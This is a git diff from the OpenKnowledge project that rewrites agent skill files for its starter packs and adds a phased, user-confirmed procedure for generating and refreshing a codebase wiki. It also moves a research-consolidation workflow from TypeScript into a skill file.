-- Bearer authorization headers
-
-The `MANIFEST.json` `redactions` array lists every file and pattern that was scrubbed. The bundle is safe for the user to attach to a GitHub issue.
diff --git a/packages/server/assets/skills/discovery/SKILL.md b/packages/server/assets/skills/discovery/SKILL.md
index 005d5004d..f9a5bd55c 100644
--- a/packages/server/assets/skills/discovery/SKILL.md
+++ b/packages/server/assets/skills/discovery/SKILL.md
@@ -1,9 +1,8 @@
---
name: open-knowledge-discovery
-description: "Read when the user asks what OpenKnowledge is, wants to install it on a repository, wants to share an OpenKnowledge project with collaborators, or asks how `ok init` / `ok cowork` / OK Desktop set up a project. Do NOT load to perform OpenKnowledge reads/writes — the runtime guidance for editing markdown inside an initialized OK project ships as a separate project-local skill at `.claude/skills/open-knowledge/` whenever `ok init` runs. If the user appears to be editing markdown inside a `.ok/` project and this is the only OK skill loaded, advise them to re-run `ok init` to install the project-local skill."
+description: "Read when the user asks what OpenKnowledge is, wants to install it on a repository, wants to open or preview a single markdown file that is not part of an OpenKnowledge project, wants to share an OpenKnowledge project with collaborators, or asks how `ok init` / `ok cowork` / OK Desktop set up a project. Do NOT load to perform OpenKnowledge reads/writes — the runtime guidance for editing markdown inside an initialized OK project ships as a separate project-local skill at `.claude/skills/open-knowledge/` whenever `ok init` runs."
compatibility: "Any agent host — no MCP server required. Pure discovery + install guidance."
metadata:
- version: "0.45.1"
author: "Inkeep"
repository: "https://github.com/inkeep/open-knowledge"
---
diff --git a/packages/server/assets/skills/packs/codebase-wiki/SKILL.md b/packages/server/assets/skills/packs/codebase-wiki/SKILL.md
index 80344d3fd..e26ea8e3d 100644
--- a/packages/server/assets/skills/packs/codebase-wiki/SKILL.md
+++ b/packages/server/assets/skills/packs/codebase-wiki/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-codebase-wiki
-version: "0.18.0"
-description: "How to work in a Codebase Wiki project (the `codebase-wiki` starter pack): an agent-authored, source-grounded wiki of the surrounding codebase. Read when the project has a `wiki/` knowledge base with `architecture/`, `modules/`, `flows/`, `concepts/`, and `guides/` sections plus `wiki/OVERVIEW.md`. Carries the per-folder rules and freshness + log discipline, summarizes the audience/depth knobs and source-reference convention, and points to the `workflow({ kind: 'wiki' })` guide for the full generate/refresh procedure. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Codebase Wiki project (the `codebase-wiki` starter pack): an agent-authored, source-grounded wiki of the surrounding codebase. Read when the project has a `wiki/` knowledge base with `architecture/`, `modules/`, `flows/`, `concepts/`, and `guides/` sections plus `wiki/OVERVIEW.md`, or when asked to generate or refresh a wiki of this codebase. Carries the per-folder rules and freshness + log discipline, summarizes the audience/depth knobs and source-reference convention, and bundles the full generate/refresh procedure in `references/`. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack codebase-wiki`."
metadata:
pack: "codebase-wiki"
@@ -12,7 +11,7 @@ metadata:
This project holds an **agent-authored wiki of a codebase** — DeepWiki, but living in the repo. A coding agent reads the source and writes a navigable, diagram-rich, source-grounded wiki as markdown under `wiki/`. It is version-controlled and diffable, private by default, human+agent co-editable, renders in OK's live preview, and doubles as durable grounding context for future agent sessions. There is no separate Q&A surface — Q&A is "the OK-grounded agent + `search`".
-> This is pack guidance. The platform `open-knowledge` skill still governs every markdown operation (read/write/preview/linking/grounding). This layers the wiki workflow on top.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the wiki workflow on top.
## The shape
@@ -30,7 +29,7 @@ wiki/
## Generating + refreshing
-Don't free-hand it — call **`workflow({ kind: "wiki" })`** and follow the phased, STOP-gated guide. It auto-detects mode: a stubbed `OVERVIEW.md` (empty `source_commit`) → **generate** (survey → overview → architecture → modules → flows → concepts → link-graph audit); a stamped `source_commit` → **refresh** (diff `source_commit..HEAD`, update only affected pages, re-stamp).
+Don't free-hand it — read **[references/generate-and-refresh.md](references/generate-and-refresh.md)** and follow the phased, STOP-gated procedure. It auto-detects mode: a stubbed `OVERVIEW.md` (empty `source_commit`) → **generate** (survey → overview → architecture → modules → flows → concepts → link-graph audit); a stamped `source_commit` → **refresh** (diff `source_commit..HEAD`, update only affected pages, re-stamp).
**Two toolsets.** Read source code with NATIVE tools (`Read`/`Grep`/`Glob`/`Bash`) — OK MCP does not index non-markdown source. Author and audit the wiki with OK MCP verbs (`write`/`edit` for pages, `links`/`search` for the graph). Never hand-write wiki markdown with native `Write`/`Edit`.
@@ -41,14 +40,14 @@ Two natural-language knobs, read from the user's request (e.g. "build the wiki,
- **`audience`** — `internal` (default) or `public`. `public` means polished prose, no secrets / internal infra / ticket numbers, and GitHub-URL source references.
- **`depth`** — `tour` | `standard` (default) | `exhaustive`. Scales coverage from OVERVIEW + architecture + top flows up through per-package module pages, concepts, and task guides.
-The `workflow({ kind: "wiki" })` guide is the authoritative source for exactly how each knob shapes the output — invoke it before generating.
+[references/generate-and-refresh.md](references/generate-and-refresh.md) is the authoritative source for exactly how each knob shapes the output — read it before generating.
## Source-reference convention
- **Intra-wiki navigation** → OK doc links — they build the backlink / hub / orphan graph, so link liberally; density is how the wiki stays navigable.
- **Code references** → relative links + symbol code-spans (`internal`) or GitHub blob URLs (`public`). Source-file links stay out of the navigation graph (`links` tracks only `.md`/`.mdx` edges, so they never show as graph dead-links or orphans) — but a wrong-depth path still surfaces in the write/edit `brokenLinks` response (`no-such-file`, or `unresolvable` if it overshoots the content root), so count the `../` hops from the page's folder. Never invent paths — reference only files you actually read.
-The full rules — the GitHub-URL / relative fallback, the `#Lxx` caveat, and the exact code-span shape — live in the `workflow({ kind: "wiki" })` guide.
+The full rules — the GitHub-URL / relative fallback, the `#Lxx` caveat, and the exact code-span shape — live in [references/generate-and-refresh.md](references/generate-and-refresh.md).
## Per-folder rules
@@ -81,4 +80,4 @@ The full rules — the GitHub-URL / relative fallback, the `#Lxx` caveat, and th
## Templates
-Each folder ships a starter template (`architecture-page`, `module-page`, `flow-page`, `concept-page`, `guide-page`). Create with `write({ document: { path, template: "<name>" } })`. Templates carry only structure (headings + frontmatter scaffold); what each section is for is described above and in the `workflow({ kind: "wiki" })` guide, not repeated inside document bodies.
+Each folder ships a starter template (`architecture-page`, `module-page`, `flow-page`, `concept-page`, `guide-page`). Create with `write({ document: { path, template: "<name>" } })`. Templates carry only structure (headings + frontmatter scaffold); what each section is for is described above and in [references/generate-and-refresh.md](references/generate-and-refresh.md), not repeated inside document bodies.
diff --git a/packages/server/assets/skills/packs/codebase-wiki/references/generate-and-refresh.md b/packages/server/assets/skills/packs/codebase-wiki/references/generate-and-refresh.md
new file mode 100644
index 000000000..e4ddc7548
--- /dev/null
+++ b/packages/server/assets/skills/packs/codebase-wiki/references/generate-and-refresh.md
@@ -0,0 +1,160 @@
+# Codebase Wiki — Generate + Refresh
+
+The user wants a **wiki of this codebase**, living in their own repo. Read the source code and author a navigable, diagram-rich, source-grounded wiki as markdown INTO the OK knowledge base, under `wiki/`. It is version-controlled, private by default, co-editable, renders in OK's live preview, and becomes grounding context for future agent sessions.
+
+The content directory is the resolved `content.dir` — read it with `config({ key: 'content.dir' })` if you don't already know it. The wiki lives at `<content-dir>/wiki/`.
+
+**Two toolsets, two jobs.** Read source code with your NATIVE tools (`Read`/`Grep`/`Glob`/`Bash` — OK MCP does not index non-markdown source). Author and audit the wiki with OK MCP verbs (`write`/`edit` for pages, `links`/`search` for the graph, `exec` for markdown listings). Never hand-write the wiki markdown with native `Write`/`Edit` — that bypasses attribution, backlinks, and the live preview.
+
+**Server requirement.** Phases that author or audit the wiki (`write`/`edit`/`links`/`search`) need the OK Hocuspocus server. Source reading (native tools) and git do not. If a `write` returns "Hocuspocus server is not running", tell the user to run `ok start` and retry — do NOT fall back to native file writes for the wiki markdown.
+
+**Prerequisite.** This procedure assumes the `codebase-wiki` pack is seeded (`ok seed --pack codebase-wiki` → `wiki/` with `architecture/ modules/ flows/ concepts/ guides/`, each carrying folder frontmatter + a page template, plus `wiki/OVERVIEW.md` + `wiki/log.md`). If `exec("ls -A <content-dir>/wiki")` shows the layout is missing, tell the user to seed first, then start over.
+
+---
+
+## The two knobs
+
+Read these from the user's natural-language request (e.g. "build the wiki, public and exhaustive"). They are NOT engine config — they tune what you produce. Record the chosen profile in `wiki/OVERVIEW.md` frontmatter (`profile: <audience>/<depth>`) so refreshes stay consistent.
+
+| Knob | Values | Effect |
+|---|---|---|
+| `audience` | `internal` (default) or `public` | `internal`: dense; may cite internal infra; reference source via **relative links + symbol code-spans**. `public`: polished prose; **omit secrets, internal infra, ticket/PR numbers**; reference source via **GitHub blob URLs** (only if a remote exists — else fall back to relative). |
+| `depth` | `tour`, `standard` (default), or `exhaustive` | `tour`: OVERVIEW + architecture + top flows only (fold modules into architecture). `standard`: + one page per package/module + concepts. `exhaustive`: + sub-module pages, `guides/`, per-flow failure modes, denser diagrams. |
+
+Default when the user says nothing: `internal` / `standard`.
+
+---
+
+## Source-reference convention (how wiki pages point at code)
+
+- **Intra-wiki navigation** → OK doc links (`[Auth flow](../flows/auth.md)`). These build the full backlink / hub / orphan graph. Link liberally — density is how the wiki stays navigable.
+- **Code references, `internal`** → a relative markdown link to the source file plus an inline code-span for the symbol — e.g. the `bootServer()` symbol in `[boot.ts](../../packages/server/src/boot.ts)`. Relative source links click-open in the asset preview and stay out of the navigation graph (the `links` graph tracks only `.md`/`.mdx` edges, so source links never show as graph dead-links or orphans) — but the write/edit `brokenLinks` response DOES validate them: a wrong-depth path resolving to a missing file is reported `no-such-file`, and one that overshoots the content root is `unresolvable`. So count the `../` hops from the page's own folder, not the wiki root. A cosmetic `#Lxx` is fine but not navigable.
+- **Code references, `public`** → GitHub blob URLs (`https://github.com/<org>/<repo>/blob/<branch>/path/to/file.ts`) so a reader without the repo can follow them. Detect the remote with `git remote get-url origin`; if there is none, fall back to relative links.
+
+Never invent paths — every source reference must point at a file you actually read.
+
+---
+
+## Mode detection — generate vs. refresh
+
+`exec("cat <content-dir>/wiki/OVERVIEW.md")` and read its frontmatter:
+
+- **`source_commit` is empty / OVERVIEW is the seeded stub** → **GENERATE** (Phases 0-7 below).
+- **`source_commit` is stamped with a commit** → **REFRESH** (jump to the *Refresh mode* section). Reuse the recorded `profile` unless the user explicitly changes a knob.
+
+---
+
+## GENERATE — phased, STOP-gated
+
+Work the phases in order. Do not skip or batch ahead of a STOP gate. Each page is authored with OK `write`/`edit`; create from the seeded templates (`write({ document: { path, template: "<name>" } })`) so pages start with the right skeleton, then fill the sections.
+
+### Phase 0 — Resolve profile + scope (STOP gate 0)
+
+1. Resolve `audience` + `depth` from the request (default `internal/standard`).
+2. Propose the **coverage set** (which packages/dirs the wiki will document) and **exclusions** (vendored deps, build output, generated code, fixtures — `node_modules/`, `dist/`, `build/`, `vendor/`, `third_party/`, `coverage/`, lockfiles).
+3. Present profile + coverage + exclusions to the user. **Wait for confirmation.**
+
+### Phase 1 — Survey (no writes) (STOP gate 1)
+
+Read, don't write. Use native tools:
+
+1. **Detect the stack** — languages, build system, package manager, workspace/monorepo layout, entry points. (`Glob` for manifests: `package.json`, `Cargo.toml`, `go.mod`, `pyproject.toml`, `*.csproj`; read them.)
+2. **Bootstrap from existing docs** — READ `README`, `AGENTS.md`/`CLAUDE.md`, `ARCHITECTURE.md`, `CONTRIBUTING`, per-package READMEs. **Summarize and link to them; do NOT duplicate.** They are your highest-signal starting point.
+3. **Map the modules** — list packages/top-level source dirs; note each one's rough purpose and entry points.
+4. Produce an **inventory + a proposed page list scaled to `depth`**:
+ - `tour` → OVERVIEW + 1-3 architecture pages + top 1-3 flows.
+ - `standard` → + one module page per package + a concepts glossary.
+ - `exhaustive` → + sub-module pages, `guides/`, per-flow failure modes.
+5. Present the page list. **Wait for confirmation.**
+
+### Phase 2 — Overview hub
+
+Author `wiki/OVERVIEW.md` (edit the seeded stub in place):
+
+1. **What this is** — 1-2 paragraphs: what the project does, who it's for.
+2. **Architecture at a glance** — a big-picture `mermaid` diagram. Example:
+ ```mermaid
+ flowchart TD
+ CLI[ok CLI] --> Server[Hocuspocus server]
+ App[React editor] --> Server
+ Server --> Disk[(markdown + .ok/)]
+ ```
+ (Mermaid label text has sharp edges — if a write returns a `mermaid-parse-error` warning, fix that fence and re-edit. `palette({ components: ["Mermaid"] })` lists the gotchas.)
+3. **Navigation** — a map that links **every section and every page you will create**, as OK doc links. OVERVIEW is the hub; everything must be reachable from it.
+4. **Stamp frontmatter**: set `profile: <audience>/<depth>` and `source_commit: <git rev-parse HEAD>`. `source_commit` is the freshness anchor refresh mode diffs against — get it right.
+
+### Phase 3 — Architecture pages
+
+One page per architectural area (boundaries, layers, subsystems, cross-cutting concerns). Each: a system-context or component `mermaid` diagram, the key components (with source references per the convention), and the design decisions behind them. Cross-link the modules and flows each area touches. (At `depth: tour`, modules fold into these pages.)
+
+### Phase 4 — Module pages
+
+One page per package/module (skip at `tour`; scale sub-module depth by knob). Use the `module-page` template: purpose, responsibilities, public API / entry points, **key files** (linked per the convention), dependencies, and the flows it participates in. Cross-link concepts and flows.
+
+### Phase 5 — Flows
+
+Key end-to-end sequences (request lifecycle, build/deploy, a core interaction) as `mermaid` sequence or flow diagrams + narrative. At `exhaustive`, add a **Failure modes** section per flow. Link every module and concept the flow crosses.
+
+### Phase 6 — Concepts / glossary
+
+Atomic pages for domain terms and core abstractions (one term each): definition, why it matters, where it lives in the code. Keep them small and densely cross-linked so each concept becomes a hub for everywhere it appears. Link concepts from the architecture/module/flow pages that use them.
+
+### Phase 7 — Link-graph activation + audit
+
+1. Confirm **OVERVIEW links every page** (it is the nav hub). Add any missing nav links. This is OVERVIEW's check — it's a *source* (high out-degree), verified by forward links here, not by the `hubs` view below.
+2. Run `links({ kind: ["orphans", "hubs", "dead"] })`:
+ - **orphans** — pages nothing links to. Adopt each by linking it from OVERVIEW or a relevant section page (or, rarely, justify it as intentionally standalone).
+ - **hubs** — ranks by *inbound* links. Confirm your **concept/module pages** show up here — that's the signal cross-linking actually happened. Don't expect `OVERVIEW`: a freshly authored nav page has almost no inbound links, so it won't appear (and that's correct — its coverage was checked in step 1).
+ - **dead** — fix or remove every dead link. (Source-file links don't appear in this graph — only `.md`/`.mdx` edges are tracked — but they ARE validated by `brokenLinks` on each write/edit, per the code-reference rule above.)
+3. Append a `wiki/log.md` entry (see *Log discipline*).
+4. Tell the user the wiki is ready and surface the OVERVIEW preview URL.
+
+---
+
+## REFRESH mode (after code changes)
+
+Incremental by default — don't re-read the whole repo.
+
+1. Read `source_commit` + `profile` from `wiki/OVERVIEW.md` frontmatter. Reuse the profile unless the user changed a knob.
+2. `git diff --stat <source_commit>..HEAD`. Inspect the changed paths.
+3. **Map changed code → affected pages.** For each changed package/area, update its module/architecture/flow pages (read the changed source first). Update OVERVIEW only if the structure changed (new package, removed subsystem, new top-level flow).
+4. **Full-regen fallback.** If the diff is large or structural (many packages, a restructure), or git is unavailable / `source_commit` is missing, fall back to a full GENERATE pass rather than a partial patch.
+5. **Re-stamp** `source_commit` to the new `git rev-parse HEAD` and re-run the Phase 7 link-graph audit on the touched pages.
+6. Append a `wiki/log.md` refresh entry.
+
+---
+
+## Log discipline
+
+`wiki/log.md` is an append-only audit trail. Append one dated entry per generation or refresh run (one per run, not per page). Reference touched pages as markdown links so they register in the backlink graph. Entry shape:
+
+```markdown
+## YYYY-MM-DD: <generate | refresh>
+
+- Profile: <audience>/<depth>
+- source_commit: <short-sha> (was <prev-sha> on refresh)
+- Coverage: <which sections/packages were written or updated>
+- Pages: [Overview](./OVERVIEW.md), [Server](./modules/server.md), ...
+```
+
+---
+
+## STOP rules / anti-patterns (load-bearing)
+
+- **Author wiki markdown only through OK `write`/`edit`** — never native `Write`/`Edit` (loses attribution, backlinks, live preview). Read source with native tools; write the wiki with OK.
+- **Summarize existing docs, don't duplicate them** — link to `README`/`ARCHITECTURE.md`; the wiki adds navigation and synthesis, not a copy.
+- **Every source reference points at a file you actually read** — no invented paths or symbols.
+- **Respect the profile** — at `audience: public`, never write secrets, internal infra, or ticket/PR numbers; reference code via GitHub URLs (or relative if no remote).
+- **OVERVIEW is the hub** — every page must be reachable from it. Don't leave orphans (Phase 7 catches them).
+- **Don't scaffold folders by hand** — the `codebase-wiki` pack already created `wiki/` with templates; if it's missing, seed first.
+- **Scale to `depth`** — don't write `guides/` or per-flow failure modes at `tour`; don't fold modules into architecture at `exhaustive`.
+- **Refresh is incremental** — diff `source_commit..HEAD` and touch only affected pages; full-regen only on large/structural diffs or when git is unavailable.
+
+---
+
+## Exit conditions
+
+- **Pack not seeded** — `wiki/` layout missing → tell the user to run `ok seed --pack codebase-wiki`, then start over. Exit.
+- **Server down** — a `write`/`links` call reports the server is not running → tell the user to run `ok start` and retry. Exit cleanly; resuming keeps already-written pages.
+- **User aborts at a STOP gate** → exit cleanly, leaving any already-written pages in place.
+- **Empty / unreadable repo** (no source detected in Phase 1) → tell the user there's nothing to document yet. Exit.
diff --git a/packages/server/assets/skills/packs/entity-vault/SKILL.md b/packages/server/assets/skills/packs/entity-vault/SKILL.md
index 038626701..c5608f269 100644
--- a/packages/server/assets/skills/packs/entity-vault/SKILL.md
+++ b/packages/server/assets/skills/packs/entity-vault/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-entity-vault
-version: "0.18.0"
-description: "How to work in a Personal CRM project (the `entity-vault` starter pack, GBrain-compatible): a typed-entity vault of people, companies, meetings, and concepts, each a dossier with a rewritable summary plus an append-only timeline. Read when the project has these folders. Carries the dossier convention and entity-extraction behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Personal CRM project (the `entity-vault` starter pack, GBrain-compatible): a typed-entity vault of people, companies, meetings, and concepts, each a dossier with a rewritable summary plus an append-only timeline. Read when the project has these folders, OR when asked to capture notes about a person or company, log a meeting, prep for an upcoming meeting, or answer who someone is and what was last said. Carries the dossier convention and entity-extraction behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack entity-vault`."
metadata:
pack: "entity-vault"
@@ -12,7 +11,7 @@ metadata:
A Personal CRM built as a typed-entity vault, inspired by Garry Tan's gbrain. Each entity is a dossier; the agent keeps dossiers current by extracting entities from meeting notes and original thinking. This skill holds those behaviors so templates and folder descriptions stay clean. The Markdown shape is **GBrain-compatible**: if the external `gbrain` CLI is installed, it can import/sync the same vault.
-> Pack guidance. The platform `open-knowledge` skill still governs every markdown operation.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the dossier conventions on top.
## The dossier convention (the load-bearing rule)
diff --git a/packages/server/assets/skills/packs/knowledge-base/SKILL.md b/packages/server/assets/skills/packs/knowledge-base/SKILL.md
index a1f86d4e8..04e151365 100644
--- a/packages/server/assets/skills/packs/knowledge-base/SKILL.md
+++ b/packages/server/assets/skills/packs/knowledge-base/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-knowledge-base
-version: "0.18.0"
-description: "How to work in a Knowledge Base project (the `knowledge-base` starter pack). Read when the project has the three-layer source-grounded layout — `external-sources/` → `research/` → `articles/` — wired to the `workflow` MCP tool's ingest / research / consolidate kinds. Carries the pack's workflow, per-folder rules, status flows, and log discipline so this guidance does NOT live inside template bodies or log.md. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Knowledge Base project (the `knowledge-base` starter pack). Read when the project has the three-layer source-grounded layout — `external-sources/` → `research/` → `articles/` — or when asked how this project is organized. Carries the layer model, per-folder rules, status flows, and log discipline so this guidance does NOT live inside template bodies or log.md. The three procedures live elsewhere: ingest in the platform `open-knowledge` skill, research and consolidate as their own sibling skills in this pack. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack knowledge-base`."
metadata:
pack: "knowledge-base"
@@ -12,7 +11,7 @@ metadata:
This project uses the **source-grounded knowledge-base** layout. The whole point is a closed evidence loop: nothing canonical exists without a traceable chain back to a preserved source. This skill holds the workflow so the templates and `log.md` can stay clean — when you create a doc from a template you get structure, and the *how* lives here.
-> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/grounding rules) still governs every markdown operation — this layers the KB workflow on top.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the KB workflow on top.
## Link at creation
@@ -28,22 +27,40 @@ research/ provisional analysis (produced by `research`)
articles/ canonical, decided knowledge (produced by `consolidate`)
```
-The loop is **ingest → research → consolidate** — each a `workflow({ kind })` guide you invoke (`workflow({ kind: 'ingest' })`, etc.). Every downstream claim traces upstream to a preserved source. Cite local paths in `external-sources/`, never bare web URLs — the KB must survive link rot.
+The loop is **ingest → research → consolidate**, mapped to [Karpathy's three-layer knowledge-base pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f). Every downstream claim traces upstream to a preserved source. Cite local paths in `external-sources/`, never bare web URLs — the KB must survive link rot.
+
+Karpathy's insight: "The tedious part of maintaining a knowledge base is not the reading or the thinking — it's the bookkeeping." Humans abandon wikis because maintenance costs exceed perceived value. These procedures exist so an agent can do the bookkeeping (fetching, summarizing, cross-linking, superseding) without fatigue. Skipping the cross-linking, supersedes chains, or raw-source preservation is what turns a useful wiki back into an abandoned one.
+
+## The three procedures
+
+Each layer has a full, STOP-gated procedure, and each ships as its own skill so it loads only when the work calls for it. Execute the procedure yourself with the OK verbs — these are your **default move over a bare `write`** when the work fits a layer.
+
+| Procedure | Where it lives | When |
+| --- | --- | --- |
+| ingest | Platform `open-knowledge` skill (`references/ingest-and-sources.md`) — its Grounding rule depends on it everywhere, so it ships with every project, not just this pack. | Preserve a shared URL / PDF / file verbatim, OR you fetched a URL to ground a KB claim (binary sources preserved, not scraped). |
+| research | Sibling skill `open-knowledge-pack-knowledge-base-research` | Investigate / compare / synthesize multiple sources → `status: provisional` article + `sources:`. |
+| consolidate | Sibling skill `open-knowledge-pack-knowledge-base-consolidate` | A decision was actually made → commit canonical source-of-truth with a `supersedes:` chain. |
+
+Typical day-2 flow: user shares a URL → **ingest** (preserve) → user asks "now research this" → **research** (provisional article, ingesting more sources as needed) → decision lands → **consolidate** (canonical article, supersedes the research).
+
+**Don't chain silently.** After ingest, ask whether to proceed to research. After research, let the user decide whether the findings are ready to consolidate. Each procedure completes on its own terms — the user drives the transitions.
+
+**Autonomy gates vs session-level autonomy.** A procedure's STOP gates (research's scoping gate, consolidate's decision-confirmation gate) are NOT overridden by session-level "work without stopping for clarifying questions" hints. Those hints cover trivial back-and-forth ("which file did you mean?"); the gates exist for one-way-door decisions. When in doubt, the gate is authoritative.
## Per-folder rules
-**`external-sources/`** — Raw sources saved verbatim, not just cited: the actual fetched text of URLs, extracted text of PDFs, copies of referenced files. Each file's frontmatter carries the original URL, access date, and any author/publisher metadata. Produced by `ingest` (applies whether the user shared the URL or you fetched it yourself to ground a claim). Immutable after capture — update only to refresh a stale fetch. **No analysis here**; that belongs in `research/`.
+**`external-sources/`** — Raw sources saved verbatim, not just cited: the actual fetched text of URLs, extracted text of PDFs, copies of referenced files. Each file's frontmatter carries the original URL, access date, and any author/publisher metadata. Produced by the ingest procedure (applies whether the user shared the URL or you fetched it yourself to ground a claim). Immutable after capture — update only to refresh a stale fetch. **No analysis here**; that belongs in `research/`.
-**`research/`** — Provisional analysis synthesizing external sources. Produced by `research`. Every factual claim cites a specific doc in `external-sources/` (or an inline URL if ingest was skipped); no unsourced assertions. Keep the `sources:` frontmatter list aligned with the docs actually linked in the body. Promote to `articles/` via `consolidate` once the team decides the findings are stable.
+**`research/`** — Provisional analysis synthesizing external sources. Produced by the `research` skill. Every factual claim cites a specific doc in `external-sources/` (or an inline URL if ingest was skipped); no unsourced assertions. Keep the `sources:` frontmatter list aligned with the docs actually linked in the body. Promote to `articles/` via the `consolidate` skill once the team decides the findings are stable.
-**`articles/`** — Canonical knowledge, committed after a team decision. Produced by `consolidate`. Carries a `supersedes:` chain tying back to the `research/` docs it replaces (which in turn cite `external-sources/`) so the full evidence chain is traceable without leaving the repo. Source-of-truth for the domain; update only when a new decision supersedes it.
+**`articles/`** — Canonical knowledge, committed after a team decision. Produced by the `consolidate` skill. Carries a `supersedes:` chain tying back to the `research/` docs it replaces (which in turn cite `external-sources/`) so the full evidence chain is traceable without leaving the repo. Source-of-truth for the domain; update only when a new decision supersedes it.
## Status flow
| Layer | `status` | Set when |
|---|---|---|
| `research/` | `provisional` | created |
-| `articles/` | `canonical` | promoted by `consolidate` after a decision |
+| `articles/` | `canonical` | promoted by consolidate after a decision |
When a new article supersedes an older one, add the older article's path to the new one's `supersedes:` list.
@@ -51,7 +68,7 @@ When a new article supersedes an older one, add the older article's path to the
There is a `log.md` at the project root. **Append one dated entry after any turn that creates, edits, or restructures content** — one entry per turn, not per file. Silent edits break the audit trail.
-Log: `ingest` runs (new sources), `research` / `consolidate` runs (provisional or canonical articles), direct `write` / `edit` / `move` / `delete` outside the three loop tools, `discover` runs, folder restructures, and `.ok/config.yml` changes.
+Log: `ingest` runs (new sources), `research` / `consolidate` runs (provisional or canonical articles), direct `write` / `edit` / `move` / `delete` outside the three procedures, project-onboarding runs, folder restructures, and `.ok/config.yml` changes.
**Reference docs as markdown links, not bare paths** — `[path/to/doc](./path/to/doc.md)`, so the entry shows up in `links({ kind: "backlinks" })` for those docs. A bare path string does not register in the graph.
diff --git a/packages/server/src/mcp/tools/consolidate-body.ts b/packages/server/assets/skills/packs/knowledge-base/consolidate/SKILL.md
similarity index 51%
rename from packages/server/src/mcp/tools/consolidate-body.ts
rename to packages/server/assets/skills/packs/knowledge-base/consolidate/SKILL.md
index 3b8102e58..7fe98dc51 100644
--- a/packages/server/src/mcp/tools/consolidate-body.ts
+++ b/packages/server/assets/skills/packs/knowledge-base/consolidate/SKILL.md
@@ -1,26 +1,19 @@
-/**
- * `consolidate` MCP workflow tool — promote research findings into a canonical
- * article inside the project's content directory.
- *
- * Principle: canonical, not provisional. Consolidation is a deliberate step
- * taken after research has stabilized and a team has made decisions. The
- * output is the source of truth for future agents — not a snapshot of
- * uncertainty.
- *
- * Relationship to other workflow tools:
- * - `ingest` — captures raw external sources (no analysis)
- * - `research` — synthesizes provisional findings from sources (analysis, uncertain)
- * - `consolidate` — promotes research + sources into canonical articles (analysis, decided)
- */
-
-import { OK_DIR } from '@inkeep/open-knowledge-core';
-
-export function buildConsolidateBody(topic: string, contentDir: string): string {
- return `Promote existing research on this topic into a canonical article inside the project content directory. **Canonical, not provisional** — the output is the source of truth for future agents.
-
-Topic: ${topic}
-
-The content directory for this project is **\`${contentDir}\`** (from \`${OK_DIR}/config.yml\`).
+---
+name: open-knowledge-pack-knowledge-base-consolidate
+description: "Promote existing research into a canonical article under `articles/` in a Knowledge Base project (the `knowledge-base` starter pack). Read when a decision has actually been made and the team wants the source-of-truth written down, or when asked to consolidate, canonicalize, promote research, or supersede an older article. Carries the decision-confirmation gate, the `supersedes:` chain that keeps the evidence trail intact, and the canonical voice. Does not conduct new research — that is the sibling `research` skill."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack knowledge-base`."
+metadata:
+ pack: "knowledge-base"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+# Consolidate — promote research into a canonical article
+
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the procedure on top.
+
+Promote existing research on a topic into a canonical article under `articles/`. **Canonical, not provisional** — the output is the source of truth for future agents, not a snapshot of uncertainty.
+
+The content directory is the resolved `content.dir` — read it with `config({ key: 'content.dir' })` if you don't already know it. Paths below are relative to it.
## STOP gate: has a decision actually been made?
@@ -32,9 +25,9 @@ Before any write, confirm out loud with the user:
- **What alternatives were considered and rejected?** (these go in "Alternatives considered," not as equals)
- **What's the rationale the team used?** (not your reconstruction from sources)
-If the decision is still open, **do not consolidate**. Return and tell the user: "The research is still provisional. When the team decides, re-invoke \`consolidate\` with the outcome." Then stop.
+If the decision is still open, **do not consolidate**. Tell the user: "The research is still provisional. When the team decides, come back and consolidate with the outcome." Then stop.
-## When to use this workflow
+## When to use this procedure
- A team has made a decision after research and wants the outcome committed as canonical knowledge
- You want to compact several provisional research notes into one authoritative article
@@ -60,30 +53,30 @@ A consolidated article is the **source of truth**. Agents reading it should not
Locate research articles on this topic:
-- Use \`exec("grep -rn <topic-keyword> ${contentDir}")\` to find prior research, or \`exec("ls <research-folder>")\` if the project groups research in a known location
-- Read each research article fully via \`exec("cat <path>")\` (rich enrichment gives frontmatter + shadow-repo activity + project git history + backlinks)
-- Follow its \`sources:\` frontmatter list — read every referenced source file
+- Use `exec("grep -rn <topic-keyword> <content-dir>")` to find prior research, or `exec("ls -A research")` if the project groups research in a known location
+- Read each research article fully via `exec("cat <path>")` (rich enrichment gives frontmatter + shadow-repo activity + project git history + backlinks)
+- Follow its `sources:` frontmatter list — read every referenced source file
- Also read any existing canonical article on the topic — if one already exists, you may be **updating** it rather than creating a new one
-If there is no research to consolidate, stop. Consolidation is promotion, not creation. Run \`research\` first.
+If there is no research to consolidate, stop. Consolidation is promotion, not creation. Do the `research` skill first.
-### 2. Re-confirm the decision (you already ran the STOP gate above)
+### 2. Re-confirm the decision
